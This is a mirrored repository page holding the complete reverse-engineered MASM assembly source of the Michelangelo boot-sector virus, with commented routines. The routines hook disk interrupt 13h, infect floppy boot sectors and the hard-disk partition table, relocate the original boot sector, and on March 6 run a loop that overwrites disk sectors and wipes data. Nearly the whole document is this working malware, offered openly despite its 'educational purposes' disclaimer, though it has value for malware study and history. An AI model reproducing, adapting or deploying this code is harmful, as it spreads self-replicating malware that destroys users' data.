mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
4b9382ddbc
push
323 lines
18 KiB
NASM
323 lines
18 KiB
NASM
TITLE MICHELANGELO, a STONED - derived Boot Virus
|
|
SUBTTL reverse engineered source code for MASM 5.1/6.0
|
|
|
|
PAGE 60,132
|
|
.RADIX 16
|
|
|
|
IF1
|
|
%Out ÉÍ VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION Í»
|
|
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
|
%Out º°°°°°°°°°°°°°°°ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿°°°°°°°°°°°°°°°°º
|
|
%Out º°°ÄÄÄÄÄÄÄÄÄÄÄÄÄ´ M I C H E L A N G E L O ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ°°º
|
|
%Out º°°°°°°°°°°°°°°°ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°°°°°°°°°°°°°°°º
|
|
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
|
%Out ÈÍÍ Layout (C) 1992 164A12565AA18213165556D3125C4B962712 Íͼ
|
|
ENDIF
|
|
|
|
comment #
|
|
|
|
! !
|
|
! MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475, !
|
|
! Caprese, Republic of Florence ... !
|
|
! This boot block / partition table virus will overwrite most of the !
|
|
! data on eiter floppy disks or winchester drives at HIS birthday. !
|
|
! !
|
|
! This source code may only be used for educational purposes! !
|
|
! !
|
|
! Do not offend the law by distributing viral or trojan horse soft- !
|
|
! ware to anybody who is not aware of the potential danger of the !
|
|
! software he receives. !
|
|
! !
|
|
|
|
#
|
|
|
|
B equ <BYTE>
|
|
D equ <DWORD>
|
|
O equ <OFFSET>
|
|
P equ <PTR>
|
|
S equ <SHORT>
|
|
T equ <THIS>
|
|
v equ <OR>
|
|
W equ <WORD>
|
|
|
|
|
|
SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
|
|
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
|
|
IFNB <_X>
|
|
IFIDN <_X>,<F>
|
|
PUSHF
|
|
ELSE
|
|
PUSH _X
|
|
ENDIF
|
|
ENDIF
|
|
ENDM
|
|
ENDM
|
|
|
|
REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
|
|
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
|
|
IFNB <_X>
|
|
IFIDN <_X>,<F>
|
|
POPF
|
|
ELSE
|
|
POP _X
|
|
ENDIF
|
|
ENDIF
|
|
ENDM
|
|
ENDM
|
|
|
|
MOV_S MACRO S1,S2
|
|
SAVE S2
|
|
REST S1
|
|
ENDM
|
|
|
|
TEXT SEGMENT PARA PUBLIC 'CODE'
|
|
|
|
ASSUME CS:TEXT,DS:TEXT,ES:TEXT
|
|
|
|
ORG 0
|
|
|
|
MICHELANGELO = 0306 ; ... his BCD birthday
|
|
;
|
|
SECSIZE = 0200 ;
|
|
WINCHESTER1 = 80 ;
|
|
bREAD = 2 ;
|
|
wREAD = bREAD SHL 8 ;
|
|
bWRITE = 3 ;
|
|
wWRITE = bWRITE SHL 8 ;
|
|
;
|
|
DTA = T B + SECSIZE ;
|
|
;
|
|
OR13OFF = T W + 04C ;
|
|
OR13SEG = T W + 04E ;
|
|
SYSRAM = T W + 413 ;
|
|
MOSTAT = T B + 43F ;
|
|
;
|
|
PARTTBL = T B + 1BE ;
|
|
;
|
|
OFSFRM0 EQU 7C00 ;
|
|
;
|
|
START: JMP INIT ;
|
|
;
|
|
; -----------------------------------------------------------------------------
|
|
;
|
|
SHDWRELOCOFS = T W + OFSFRM0 ;
|
|
RELOCOFS DW FRSTRLCTD ; Used by an indirect far jmp
|
|
SHDWRELOCSEG = T W + OFSFRM0 ; to the relocated code.
|
|
RELOCSEG DW ? ;
|
|
;
|
|
HEADS DB ? ;
|
|
;
|
|
CYLSEG DW ? ;
|
|
;
|
|
SHDW13OFS = T W + OFSFRM0 ;
|
|
BIOS13OFS DW ? ; Holds original (BIOS)
|
|
SHDW13SEG = T W + OFSFRM0 ; int 13 vector.
|
|
BIOS13SEG DW ? ;
|
|
;
|
|
; -----------------------------------------------------------------------------
|
|
;
|
|
I13_ISR: SAVE DS,AX ; INT 13 SR, save regs
|
|
OR DL,DL ; drive == A ?
|
|
JNZ I13_EX ; jmp if not
|
|
XOR AX,AX ; DS = 0
|
|
MOV DS,AX ;
|
|
TEST B P [MOSTAT],01 ; test diskette motor status:
|
|
JNZ I13_EX ; jmp if motor is already on
|
|
REST AX,DS ;
|
|
SAVE F ; call old interrupt 13
|
|
CALL D P CS:[BIOS13OFS] ; routine
|
|
SAVE F ; save FLAGS
|
|
CALL TstInfF ; test & infect if necessary
|
|
REST F ; restore FLAGS
|
|
RETF 2 ; return, preserve FLAGS
|
|
;
|
|
I13_EX: REST AX,DS ; restore regs, jmp to old int
|
|
JMP D P CS:[BIOS13OFS] ; 13h routine
|
|
;
|
|
TstInfF: SAVE AX,BX,CX,DX,DS,ES,SI,DI ;
|
|
MOV_S DS,CS ; ES = DS = CS;
|
|
MOV_S ES,CS ;
|
|
MOV SI,0004 ; SI = 4 (maxretry counter)
|
|
@@: MOV AX,wREAD v 1 ; AX : read one sector
|
|
MOV BX,O DTA ; BX : ... to buffer at CS:200
|
|
MOV CX,0001 ; CX : ... cylinder 0, sector 1
|
|
XOR DX,DX ; DX : ... drive 0, head 0
|
|
SAVE F ; call old int13 routine by
|
|
CALL D P [BIOS13OFS] ; simulating an interrupt
|
|
JNB @F ; jmp if there isn't an error,
|
|
XOR AX,AX ; else reset disk system ...
|
|
SAVE F ;
|
|
CALL D P [BIOS13OFS] ;
|
|
DEC SI ; decrement maxretry counter
|
|
JNZ @B ; try it again if not zero,
|
|
JMP S TstInfF_EX ; else jmp to exit in haste.
|
|
;
|
|
@@: XOR SI,SI ; boot sector has been read,
|
|
CLD ; now test if disk already has
|
|
LODSW ; been infected. Assume infect-
|
|
CMP AX,[BX] ; ion if the first 4 bytes of
|
|
JNZ @F ; MICHI and the boot sector are
|
|
LODSW ; identical ...
|
|
CMP AX,[BX+02] ;
|
|
JZ TstInfF_EX ; exit, disk already infected
|
|
@@: MOV AX,wWRITE v 1 ; AX : Write one sector
|
|
MOV DH,01 ; DH : Head 1
|
|
MOV CL,03 ; CL : Sector 3
|
|
CMP B P [BX+15],0FDH ; adjust CL to E if the MEDIA ID
|
|
JZ @F ; field of the original boot
|
|
MOV CL,0E ; sector is not FD (5.25",360K)
|
|
@@: MOV [CYLSEG],CX ; store CX
|
|
SAVE F ; and write the original boot
|
|
CALL D P [BIOS13OFS] ; sector to the floppy disk
|
|
JB TstInfF_EX ; if an error occured,
|
|
MOV SI,O PARTTBL + SECSIZE ; exit in haste.
|
|
MOV DI,O PARTTBL ; Copy the last bytes of
|
|
MOV CX,0021 ; the original boot sector to
|
|
CLD ; the end of MICHI
|
|
REP MOVSW ;
|
|
MOV AX,wWRITE v 1 ; ... and write it to the boot
|
|
XOR BX,BX ; sector of the disk.
|
|
MOV CX,0001 ;
|
|
XOR DX,DX ;
|
|
SAVE F ;
|
|
CALL D P [BIOS13OFS] ;
|
|
TstInfF_EX: REST DI,SI,ES,DS,DX,CX,BX,AX ; restore regs
|
|
RET ; ... return
|
|
;
|
|
; -----------------------------------------------------------------------------
|
|
;
|
|
INIT: XOR AX,AX ; Set DS and SS to 0000,
|
|
MOV DS,AX ; initialize SP to 7C00.
|
|
CLI ; That's because the boot
|
|
MOV SS,AX ; sector will loaded into
|
|
MOV AX,OFSFRM0 ; memory at 0:7C00 on every
|
|
MOV SP,AX ; IBM clone ...
|
|
STI ;
|
|
;
|
|
SAVE DS,AX ; save (0000:7C00) on stack
|
|
;
|
|
MOV AX,[OR13OFF] ; Read old interrupt 13h vector
|
|
MOV [SHDW13OFS],AX ; and save it
|
|
MOV AX,[OR13SEG] ;
|
|
MOV [SHDW13SEG],AX ;
|
|
;
|
|
MOV AX,[SYSRAM] ; Substract 2 from base memory
|
|
DEC AX ; size variable in BIOS data
|
|
DEC AX ; area
|
|
MOV [SYSRAM],AX ;
|
|
;
|
|
MOV CL,06 ; ES = AX = segment part of huge
|
|
SHL AX,CL ; ptr to area 2KB below last
|
|
MOV ES,AX ; base memory location
|
|
;
|
|
MOV [SHDWRELOCSEG],AX ; Store seg for ind far jmp
|
|
; to relocated code
|
|
MOV AX,O I13_ISR ; Store ptr to new interrupt
|
|
MOV [OR13OFF],AX ; 13 service routine to
|
|
MOV [OR13SEG],ES ; interrupt table,
|
|
MOV CX,O PARTTBL ; Relocate code,
|
|
MOV SI,OFSFRM0 ;
|
|
XOR DI,DI ;
|
|
CLD ;
|
|
REP MOVSB ;
|
|
JMP D P CS:[SHDWRELOCOFS] ; Jmp to FRSTRLCTD (relo-
|
|
; cated code)(BUGGY)
|
|
;
|
|
FRSTRLCTD: XOR AX,AX ; Reset the disk system
|
|
MOV ES,AX ;
|
|
INT 13 ;
|
|
MOV_S DS,CS ; ES = 0; DS = CS;
|
|
MOV AX,wREAD v 1 ; AH = 'Read', AL = # to read
|
|
MOV BX,OFSFRM0 ; ES:BX = 0:7C00 = xfer address
|
|
MOV CX,[CYLSEG] ; CH = cylinder #, CL = sector #
|
|
;
|
|
CMP CX,+07 ; Booted from winchester drive?
|
|
JNZ @F ; jmp if not
|
|
MOV DX,0000 v WINCHESTER1 ; DH = head 0, DL = drive C
|
|
INT 13 ; read the original boot sector
|
|
JMP S BOOTNOW ; and jmp
|
|
;
|
|
@@: MOV CX,[CYLSEG] ; adjust cylinder/sector #s
|
|
MOV DX,0100 ; DH = head 1, DL = drive A
|
|
INT 13 ; and read the sector ...
|
|
JB BOOTNOW ; (jmp on error, else continue)
|
|
MOV_S ES,CS ; ES = CS;
|
|
MOV AX,wREAD v 1 ; read partition table of 1st
|
|
MOV BX,O DTA ; hard disk into buffer located
|
|
MOV CX,0001 ; just after the relocated code
|
|
MOV DX,0000 v WINCHESTER1 ;
|
|
INT 13 ;
|
|
JB BOOTNOW ; (jmp on error, else continue)
|
|
XOR SI,SI ;
|
|
CLD ; test if hard disk is already
|
|
LODSW ; infected by comparing the 1st
|
|
CMP AX,[BX] ; four bytes, if these are
|
|
JNZ INFECT_PARTTBL ; identical assume that the
|
|
LODSW ; hard disk already is infected
|
|
CMP AX,[BX+02] ; and continue, else jmp to
|
|
JNZ INFECT_PARTTBL ; infect procedure
|
|
;
|
|
BOOTNOW: XOR CX,CX ; read date from real time clock
|
|
MOV AH,04 ; (will _not_ work on old BIOSes
|
|
INT 1A ; that do not implement it)
|
|
CMP DX,MICHELANGELO ; jmp if today is the
|
|
JZ BIRTHDAY ; birthday of MICHELANGELO
|
|
RETF ; 'return' to original boot sec-
|
|
; tor code
|
|
;
|
|
; -----------------------------------------------------------------------------
|
|
;
|
|
BIRTHDAY: XOR DX,DX ; DH = head 0; DL = drive A
|
|
MOV CX,0001 ; CH = cylinder 0; CL = sector 1
|
|
BIRTHDAY_LOOP: MOV AX,wWRITE v 9 ; AH = 'Write'; AL = # of sectrs
|
|
MOV SI,[CYLSEG] ; adjust AL ( # of sectors) and
|
|
CMP SI,+03 ; DL (drive code) depending on
|
|
JZ @F ; the type of the current boot
|
|
MOV AL,0E ; disk
|
|
CMP SI,+0E ;
|
|
JZ @F ;
|
|
MOV DL,WINCHESTER1 ;
|
|
MOV B P [HEADS],04 ;
|
|
MOV AL,11 ;
|
|
@@: MOV BX,5000 ; ES:BX -> 'Buffer' = 5000:5000
|
|
MOV ES,BX ;
|
|
INT 13 ;
|
|
JNB @F ;
|
|
XOR AH,AH ; reset disk system if an error
|
|
INT 13 ; occured
|
|
@@: INC DH ; increment head (DH)
|
|
CMP DH,[HEADS] ; head < maxhead? continue if
|
|
JB BIRTHDAY_LOOP ; equal, else loop
|
|
XOR DH,DH ;
|
|
INC CH ; increment cylinder and loop
|
|
JMP BIRTHDAY_LOOP ; ( goodbye data - cu never )
|
|
;
|
|
; -----------------------------------------------------------------------------
|
|
;
|
|
INFECT_PARTTBL: MOV CX,0007 ; It's an HD, take sector 7 to
|
|
MOV [CYLSEG],CX ; save the original partition
|
|
MOV AX,wWRITE v 1 ; table and write it to disk
|
|
MOV DX,0000 v WINCHESTER1 ;
|
|
INT 13 ;
|
|
JB BOOTNOW ; jmp on error
|
|
MOV SI,O PARTTBL + SECSIZE ; copy partition informa-
|
|
MOV DI,O PARTTBL ; tion to the end of MICHI
|
|
MOV CX,0021 ;
|
|
REP MOVSW ;
|
|
MOV AX,wWRITE v 1 ; and write MICHI to the first
|
|
XOR BX,BX ; sector of the hard disk ...
|
|
INC CL ;
|
|
INT 13 ;
|
|
JMP BOOTNOW ;
|
|
;
|
|
; -----------------------------------------------------------------------------
|
|
;
|
|
ORG SECSIZE - 2 ; Bootblock / partition table /
|
|
DB 055,0AA ; ROM signature
|
|
;
|
|
; -----------------------------------------------------------------------------
|
|
|
|
TEXT ENDS
|
|
|
|
END START
|